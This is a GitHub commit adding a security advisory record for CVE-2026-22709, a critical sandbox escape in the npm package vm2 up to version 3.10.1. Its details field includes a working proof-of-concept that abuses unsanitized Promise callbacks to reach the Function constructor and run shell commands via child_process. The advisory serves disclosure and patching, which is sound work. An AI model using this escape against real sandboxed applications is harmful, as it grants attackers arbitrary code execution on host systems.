Skip to content

Commit 09c9afb

Browse files
1 parent 29cbe18 commit 09c9afb

1 file changed

Lines changed: 70 additions & 0 deletions

File tree

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-99p7-6v5w-7xg8",
4+
"modified": "2026-01-26T18:57:14Z",
5+
"published": "2026-01-26T18:57:14Z",
6+
"aliases": [
7+
"CVE-2026-22709"
8+
],
9+
"summary": "vm2 has a Sandbox Escape",
10+
"details": "In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\n const Error = e.constructor;\n const Function = Error.constructor;\n const f = new Function(\n \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n );\n f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "vm2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.10.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.10.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/patriksimek/vm2"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-693",
62+
"CWE-913",
63+
"CWE-94"
64+
],
65+
"severity": "CRITICAL",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-01-26T18:57:14Z",
68+
"nvd_published_at": null
69+
}
70+
}

0 commit comments

Comments
 (0)